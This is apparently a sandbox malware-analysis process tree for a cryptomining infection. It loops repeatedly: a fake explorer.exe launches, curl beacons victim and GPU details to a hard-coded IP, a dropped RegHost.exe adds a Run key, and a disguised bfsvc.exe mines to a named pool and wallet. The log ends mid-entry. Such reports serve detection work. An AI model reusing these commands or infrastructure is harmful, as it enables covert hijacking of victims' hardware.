        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        12⤵
        
        PID:4828
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        13⤵
        
        PID:1560
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        13⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2392
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        14⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3436
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        14⤵
        
        PID:3120
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        15⤵
        
        PID:3320
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        15⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3852
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        16⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4984
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        16⤵
        
        PID:2588
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        17⤵
        
        PID:636
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        17⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3700
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        18⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4488
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        18⤵
        
        PID:1600
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        19⤵
        
        PID:2596
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        19⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3680
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        20⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4188
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        20⤵
        
        PID:4860
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        21⤵
        
        PID:3112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        21⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2900
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        22⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1776
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        22⤵
        
        PID:3384
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        23⤵
        
        PID:664
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        23⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1068
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        24⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1124
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        24⤵
        
        PID:1744
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        25⤵
        
        PID:4460
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        25⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:5072
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        26⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4716
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        26⤵
        
        PID:3136
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        27⤵
        
        PID:2796
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        27⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2660
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        28⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:752
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        28⤵
        
        PID:4252
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        29⤵
        
        PID:2428
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        29⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4400
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        30⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1248
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        30⤵
        
        PID:1220
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        31⤵
        
        PID:2076
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        31⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3652
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        32⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2376
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        32⤵
        
        PID:4688
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        33⤵
        
        PID:4368
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        33⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4588
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        34⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:984
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        34⤵
        
        PID:5064
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        35⤵
        
        PID:2240
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        35⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1776
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        36⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4960
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        36⤵
        
        PID:5076
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        37⤵
        
        PID:4480
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        37⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1860
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        38⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4844
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        38⤵
        
        PID:4516
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        39⤵
        
        PID:5080
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        39⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4484
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        40⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4488
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        40⤵
        
        PID:3444
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        41⤵
        
        PID:4056
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        41⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1620
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        42⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3960
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        42⤵
        
        PID:4152
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        43⤵
        
        PID:3720
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        43⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4860
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        44⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2404
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        44⤵
        
        PID:3828
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        45⤵
        
        PID:804
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        45⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4812
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        46⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1840
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        46⤵
        
        PID:4548
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        47⤵
        
        PID:2372
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        47⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4088
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        48⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3520
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        48⤵
        
        PID:220
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        49⤵
        
        PID:4928
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        49⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:5092
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        50⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:532
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        50⤵
        
        PID:4652
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        51⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        51⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1116
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        52⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4048
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        52⤵
        
        PID:4516
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        53⤵
        
        PID:3228
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        53⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2872
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        54⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1436
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        54⤵
        
        PID:1620
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        55⤵
        
        PID:1360
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        55⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3636
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        56⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3524
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        56⤵
        
        PID:4172
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        57⤵
        
        PID:1416
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        57⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4360
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        58⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4236
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        58⤵
        
        PID:4244
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        59⤵
        
        PID:740
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        59⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4444
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        60⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2516
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        60⤵
        
        PID:1452
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        61⤵
        
        PID:2712
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        61⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2324
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        62⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2172
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        62⤵
        
        PID:5076
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        63⤵
        
        PID:2644
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        63⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3216
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        64⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4820
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        64⤵
        
        PID:3848
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        65⤵
        
        PID:2976
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        65⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4380
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        66⤵
        
        PID:1696
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        66⤵
        
        PID:1040
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        67⤵
        
        PID:3132
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        67⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:5056
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        68⤵
        
        PID:3432
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        68⤵
        
        PID:3700
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        69⤵
        
        PID:228
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        69⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4188
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        70⤵
        
        PID:1360
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        70⤵
        
        PID:364
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        71⤵
        
        PID:1592
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        71⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2732
        
        C:\Windows\bfsvc.exe
        
